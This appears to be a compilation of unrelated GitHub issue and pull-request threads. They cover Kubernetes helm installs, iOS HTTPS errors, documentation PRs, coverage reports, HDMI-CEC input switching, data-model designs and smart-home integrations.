check if you have a spire namespace lingering, if so remove it.
[root@kube-master ~]# kubectl get namespaces
NAME              STATUS   AGE
default           Active   314d
kube-node-lease   Active   314d
kube-public       Active   314d
kube-system       Active   314d
spire             Active   3d20h
[root@kube-master ~]# kubectl delete namespace spire
namespace "spire" deleted
check git commit id:
cd networkservicemesh/deployments/helm
git log
commit 7bda1b173bd43d678745416c69e7197876aff332 (HEAD -> master, origin/master, origin/HEAD)
Author: xzfc<EMAIL_ADDRESS>Date:   Mon Sep 21 06:10:46 2020 +0000
Put limits on containers created by admission-webhook (#2188)

Signed-off-by: Albert Safin<EMAIL_ADDRESS>
Then install:
[root@kube-master helm]# helm install nsm nsm
Error: namespaces "spire" not found
[root@kube-master helm]# helm ls
NAME	NAMESPACE	REVISION	UPDATED                                 	STATUS	CHART    	APP VERSION
nsm 	default  	1       	2020-09-25 11:52:26.112214522 +0200 CEST	failed	nsm-0.2.0	0.2.0
helm delete nsm
Ok, so add namespace spire.
[root@kube-master helm]# kubectl create namespace spire
namespace/spire created
root@kube-master helm]# helm install nsm nsm
NAME: nsm
LAST DEPLOYED: Fri Sep 25 11:54:32 2020
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None
[root@kube-master helm]# helm ls
NAME	NAMESPACE	REVISION	UPDATED                                 	STATUS  	CHART    	APP VERSION
nsm 	default  	1       	2020-09-25 11:54:32.957777121 +0200 CEST	deployed	nsm-0.2.0	0.2.0
Works fine now, after manually creating the spire namespace

@haiodo @denis-tingajkin Could someone get a look at this?


Issue with Kured and cluster autoscaler running together

When the first node reboots, CAS brings up another node to place the pending pods drained and waiting to be scheduled. Once the process of rebooting all nodes is complete, there is this one node that has not been patched with reboots. The process of rebooting nodes and the CAS bringing up a new node that is not patch continues. Do you have any suggestions on how this should work?

Personnaly I patch the init script of the new nodes to upgrade the whole system and reboot the nodes if there are updates that require a reboot.

Hello, @sylr can you point me, please to how you patched the init scripts?


TESTING, DO NOT MERGE.

@tensorflow-jenkins test this please

Can one of the admins verify this patch?

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please

Can one of the admins verify this patch?

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please

@tensorflow-jenkins test this please


Anyway to do selective program recording?

I'd like to be able to record multiple audio files at once, for each program, including my microphone.
Eg. If I had TS3, GTAV, and Spotify open all at once and I was recording, they would all be separate audio files. This was I could cut out the spotify stuff, and turn up the TS3 voices.

sadly the WASAPI API does not let you capture the output of an individual application (unless they've snuck that ability into Windows 10 somewhere).

Is there anyway to do this?

I'm afraid not.

Are you aware of any work around, like assigning virtual speakers to different programs, then running them all to your default speakers?

I'd suggest using a virtual audio cable for something like that. there's a few available


AFN3.1.0  request https on iOS9 /使用AFN3.1.0 post请求https 在iOS9 上

Reported the Error when I use iOS9 visit  https Domain = NSURLErrorDomain Code = - 1004 "Could not connect to the server." but in iOS8 iOS10 is no problem.   If you can help, please reply directly or email me .
email<EMAIL_ADDRESS>Thanks !
当我使用 iOS9 访问 https 时会报 Error Domain=NSURLErrorDomain Code=-1004 "Could not connect to the server."     但在 iOS8，iOS10 上是没问题的。 如果你能够提供帮助，请直接回复 或者 发邮件给我 邮箱<EMAIL_ADDRESS>谢谢！

1004 对应的错误应该是NSURLErrorCannotConnectToHost,目测应该是没有配置好HTTPS,使用的自签名HTTPS证书?. 但在 iOS8，iOS10 上是没问题的这个就有点奇怪了,如果可能可以测下http://www.google.com类似的网站看下是否是HTTPS证书的问题.

是自签名证书，测了百度可以。

I think this should belong to StackOverflow. Github is not a place for technical support.
可以去 StackOverflow 提问，Github 不是做技术支持的地方。

This is probably best suited for stackoverflow. We use Github to track bugs and feature requests.
:beers:

From our Contribution Guidelines
Asking Questions
We don’t use GitHub as a support forum. For any usage questions that are not specific to the project itself, please ask on Stack Overflow instead. By doing so, you’ll be more likely to quickly solve your problem, and you’ll allow anyone else with the same question to find the answer. This also allows maintainers to focus on improving the project for others.


done some minor corrections

Thank your for contributing to Nuitka!
!! Please check that you select the develop branch (details see below link) !!
Before submitting a PR, please review the guidelines:
https://github.com/kayhayen/Nuitka/blob/master/CONTRIBUTING.md
What does this PR do?
correct some grammatical errors in doc/Doxyfile.template
Why was it initiated? Any relevant Issues?
no
PR Checklist

[x] Correct base branch selected? develop for new features and bug fixes too. If it's
part of a hotfix, it will be moved to master during it.
[ ] All tests still pass. Check the developer manual about Running the Tests. There
are Travis tests that cover the most important things however, and you are
welcome to rely on those, but they might not cover enough.
[ ] Ideally new features or fixed regressions ought to be covered via new tests.
[ ] Ideally new or changed features have documentation updates.

Not sure what to do with this, you realize, that the comments are from doxygen example files. Not sure how relevant mistakes in them really are. I agree they are corrections.

I decided to not merge. Changing the comments from an other source will only make it more difficult to see what is new for another Doxygen version default config file.


Out of stock command

Changes

Add out of stock command
Fix minor typo in expiredFilter

Related Issues/ PRs

Fixes #86

Codecov Report

Merging #124 (cbf1527) into develop (7d2529b) will increase coverage by 0.14%.
The diff coverage is 63.15%.

@@              Coverage Diff              @@
##             develop     #124      +/-   ##
=============================================
+ Coverage      54.17%   54.31%   +0.14%
- Complexity       459      465       +6
=============================================
  Files             98      100       +2
  Lines           1905     1922      +17
  Branches         183      183
=============================================
+ Hits            1032     1044      +12
- Misses           807      812       +5
  Partials          66       66

Impacted Files
Coverage Δ

src/main/java/seedu/ibook/MainApp.java
0.00% <0.00%> (ø)

...edu/ibook/model/product/filters/ExpiredFilter.java
44.44% <0.00%> (ø)

.../ibook/model/product/filters/OutOfStockFilter.java
44.44% <44.44%> (ø)

.../seedu/ibook/logic/commands/OutOfStockCommand.java
100.00% <100.00%> (ø)

...ain/java/seedu/ibook/logic/parser/IBookParser.java
68.18% <100.00%> (+1.51%)
:arrow_up:

:mega: Codecov can now indicate which changes are the most critical in Pull Requests. Learn more


UI

violent jitter during the AI's writing process.

It seems that the process has stabilized.

Writing texts seems to be ok but dumping large chunks of code seems to cause the jitter.
https://github.com/fixie-ai/fixie-sidekick-template/assets/4164511/869c4d2f-02de-450f-8b3f-89348f2ca254


The page should be redirected to the particular order's page if the customer is clicking on the order id after placing the order.

Bagisto Version: Master
Steps To reproduce--
1. Login as a customer.
2. Create an order
3. Try to click on the order id on the success page after placing the order
Expected result: The page should be redirected to the particular order's page if the customer is clicking on the order id after placing the order.
Actual result: The order id is not clickable if the user is trying to click on the order id after placing the order. Please find the screenshot Here.

@jitendra-webkul
Now, this issue is fixed. so I am closing this issue.
And I have attached a screenshot Here, for future reference.

@jitendra-webkul
I am reopening this issue. I am getting the same issue with the default theme. Please find the screenshot Here


Moonstream users + subscriptions + sources data model

A user can subscribe to data from multiple sources. For example:

Uniswap data from the Ethereum blockchain
Uniswap data from the Ethereum transaction pool
Metaplex NFT data from the Solana blockchain

Multiple users may subscribe to the same source - e.g. Uniswap is a very popular contract at the moment and many different users may want to have Blockchain or Transaction Pool subscriptions to Uniswap events.
Our crawlers do not care how many users have subscribed to a particular source. All they need to know is which sources they need to get information about from various blockchains or mempools/transaction pools.
Once a crawler extracts information about a source, it adds it to a central data store, and our API chooses the data from that central repository to display to the user, based on their subscriptions (and when those subscriptions were activated).

One possible architecture:

We create a private journal called moonstream-data. Only our crawlers, the Moonstream API, and the bugout team have access to this journal.
Crawlers put all crawled data into the moonstream-data journal using tags that denote the source type (e.g. ethereum_blockchain, ethereum_txpool, etc.).
When a user calls the /stream endpoint on Moonstream API, Moonstream queries the moonstream-data journal for events from that user's subscriptions and returns only those events back to the user.

For some sources, we will show the user all crawled data (e.g. ethereum_blockchain).
For other sources, we will only show the user data from when their subscription started (e.g. ethereum_txpool). This prevents us from leaking information to one user about when other users became interested in an address in the transaction pool.

Two invariants:

Single journal (moonstream-data) into which all crawled data goes.
Users only have access to moonstream-data through the Moonstream API, and their access is determined by their subscriptions.

This way, we don't have to duplicate data from multiple sources across multiple users, which will save us a lot in terms of storage costs.


Multiple HDMI CEC devices

I have a random issue with my LG42C2 and the HDMI Source select. I have the computer and a fire stick connected to my TV.
When I power on the PC, the TV is powered on too and always goes to the correct HDMI source (HDMI 4 in my case) like i've configured and LG Companion App but sometimes after a few seconds the tv is powered on, the fire stick changes the source HDMI to his own (HDMI 3).
Is there any way to delay the selection of the HDMI source or something similar to avoid the fire stick to changes the HDMI source without disable the CEC, obviously??
Thanks in advance.

Hi @konax3 I see what you mean. I'll think about if there is some neat way to achieve this

FWIW, I experience the same issue with my living room C9 without the app. If I turn on my PS5 or Switch, the TV automatically switches to them, but after a few seconds, it turns on my Apple TV and switches to it. Something seems inherently wrong about how LG TVs handle certain HDMI-CEC devices, doesn't seem to be specifically an issue with LGTVCompanion. For instance my bedroom C2 is only used with a PC (LGTVCompanion) and a console, and it's not an issue there.

Hi @fehbari thanks for your input! Yeah you are right, this is more of an issue with race conditions over HDMI-CEC on LG TV's. But on the LGTV companion side pf things what can be done is to work around the issue, maybe. I can imagine delaying the input switch command, sending it twice with a delay, monitor input switches and reset input etc.

This is not a problem with LGTV's handling of CEC. It's just that the device (CEC enabled HDMI device) is telling the TV to switch inputs to the port they are connected to. A simple fix could be to disable HDMI-CEC on the firetv stick if possible?

The scripting support available in v3.0 can be used to send a delayed HDMI switch command to the TV

Closing this issue as the CEC issue isn't in scope of the app to work around. Feel free to reopen as necessary


Andrew7234/bigint

Resolves #113

you're looking at the wrong version
https://github.com/jackc/pgtype/blob/v1.11.0/numeric.go#L372
although a hearty wtf if they removed it in v5
On Tue, Dec 6, 2022, 11:37 PM mitjat @.***> wrote:

@.**** commented on this pull request.
In storage/client/client.go
https://github.com/oasisprotocol/oasis-indexer/pull/236#discussion_r1041853561
:

if err != nil {

return nil, common.ErrStorageError

}
delegationsBalance, err := c.deserializeToBigIntOrLog(ctx, delegationsBalanceStr)
if err != nil {

return nil, common.ErrStorageError

}
debondingDelegationsBalance, err := c.deserializeToBigIntOrLog(ctx, debondingDelegationsBalanceStr)
if err != nil {

return nil, common.ErrStorageError

}
a.Available = *available
a.Escrow = *escrow
a.Debonding = *debonding
a.DelegationsBalance = *delegationsBalance
a.DebondingDelegationsBalance = *debondingDelegationsBalance

@pro-wh https://github.com/pro-wh about your iiii() suggestion: That's
how I would expect/want it to work, but Numeric.AssignTo(dst) doesn't
support
https://github.com/jackc/pgx/blob/a413de981978e4100d5736af7aaa2b392511612f/pgtype/numeric.go#L118
big.Int or big.Rat dst types, unless I'm misreading.
—
Reply to this email directly, view it on GitHub
https://github.com/oasisprotocol/oasis-indexer/pull/236#discussion_r1041853561,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AJDVILWRMNUFGTEYPNEA3EDWMA5CFANCNFSM6AAAAAASUAIPV4
.
You are receiving this because you were mentioned.Message ID:
@.***>

--
Disclaimer: This e-mail and any attachments may contain confidential
information. If you are not the intended recipient, any disclosure,
copying, distribution or use of any information contained herein is
strictly prohibited. If you have received this transmission in error,
please immediately notify the sender and destroy the original transmission
and any attachments without reading or saving.


[DataPipe] Adding a 's' to the functional names of open/list DataPipes

Stack from ghstack:

-> #479

Thank you for adding this PR. Could you please also fix tests?

I don't think there are any existing use cases in tests but I will add some.


Allow switching to Pull stream method

This should fix #362 by allowing to use [Body(StreamMethod.Pull)].

@bennor @onovotny not sure what else to add to the test suite.

Sorry - meant to comment on this the other day, but forgot to.
I am a tiny bit concerned that the terminology "push vs pull" isn't clear to the user. Wouldn't something like Buffered/Streamed on an enum or just a boolean Buffered property be clearer?

The Push/Pull terminology is similar to what MS has for the PushStreamContent. I have no issues with changing it or making this a bool instead.
So Buffered here would mean that StringContent is used just like before I added PushStreamContent?

That's what I was thinking for buffered, but I'm open to other options. I just think push vs pull might not be that clear i.e. what's pulling?
Either way I think we'll need something in the docs.

Pulling is seen from the server side. The Client is asking the server to pull content until there is no more. This is why the Content-Length is set to -1 as it is unclear how much data there is, or it is so large that you don't want it loaded into your memory to calculate the size.
Pushing is when Content-Length is known, and it is part of the body.

That's not really what's happening though, right? We're still pushing the content, but we're doing it all in one hit instead of streaming it.

Can we maybe switch to ValueTuples at some point? I'd love to have named tuple items instead of Item1, Item2 and Item3 etc.


Cleaning up

Hi @sorentwo
First, great job! I had the same idea for a gem but I found this. Thanks for all the great work.
I had to extend it for our custom needs but before that I looked through the codebase and cleaned up some places a little. Hope you find this useful to merge in!

Nice little bits of cleanup @pranas, thanks! :+1:


Create a page called Show Teams that show all the teams to the teacher

this issue has been closed in branch sprint2yasmeen

this issue has been closed in branch sprint2yasmeen


Disallow partial constructors on actors

Can you update the now-failing test in spec/compiler/verify_spec.cr to match this change?

Note that you can run make ci locally to test the full CI suite and confirm it.
You can also use make test.narrow to run a specific test, such as:
make test.narrow target="spec/compiler/verify_spec.cr:174"

Thanks!


add "permit" as allowed access value

This ferry uses the unusual tagging motor_vehicle=permit. Should we support this only for ferries or as general access tag? What is the difference to "yes"?

What is the difference to "yes"?

Essentially this means "no" (unless you have a permit), motor_vehicle=permit you need a permit to bring your car to the island.

Then what is the difference to "private"? Can anyone obtain a permit? Then it would be the same as "yes", because "yes" could still mean you have to buy a ticket (similar to a permit(?)). Or can only certain people obtain a permit? Then it would be the same as "private" (at least as far as GraphHopper is concerned(?)).

In case of Schiermonnikoog you can request a permit if you have residency on the island or if work/commerce requires a motor vehicle. There are quite some rules that apply to vehicles as well, all at the discretion of the municipality.
The permit is required for any motor vehicle (incl. moped/motorcycle/etc.) and is also needed for driving on the island.
As far as routing is concerned "private" would probably a good approximation


Feat/default server url

Description
It has been pointed out that in more dynamic deployment configurations, the serverURL can be difficult to provide. We have made it no longer required and the default serverURL is an '' which effectively makes everything run from a relative path to the node instance.

[x] I have read and understand the CONTRIBUTING.md document in this repository

Type of change

[x] New feature (non-breaking change which adds functionality)
[x] This change requires a documentation update

Checklist:

[x] Existing test suite passes locally with my changes
[x] I have made corresponding changes to the documentation

I recently came across a situation where I had recently changed the env variable used for the serverUrl. This resulted in a blank page and a lot of frustration until I realised the issue. I think there should be a warning logged to the console when the serverUrl is an empty string, as this may help people better debug this issue in the future


Should split the User & JWT interface properties

Essentially fixing the TODOs added by https://github.com/balena-io/balena-sdk/pull/965

Fixed by 947f7f427be6f638bc12c330499a2b223f04d4ec


[BUG] missing data after re-adding Enphase.

Describe the bug
I changed my email address for my installer account and had to re-add the integration to HA to get it working again. Now I don't see the total production and current power production for the envoy anymore. I only see detailed data for the inverters and only have a production switch for the envoy. I any idea what I could have done wrong?
Account type

[ x] Installer
[ ] DIY / DHZ
[ ] Home Owner (This integration is not (fully) functional with a home owner account!)

Envoy

[ ] Metered with CTs installed

[ ] Metered without CTs

[x ] Standard

FW version: D7.xxx

Amount of micro inverters connected: x

Home Assistant

Version: 2023.x

Additional context
Relevant snippet of Home Assistant error log.

Ok, lesson of the day, first search before asking a question. Had to delete and re-add it once more as per: https://github.com/vincentwolsink/home_assistant_enphase_envoy_installer/issues/117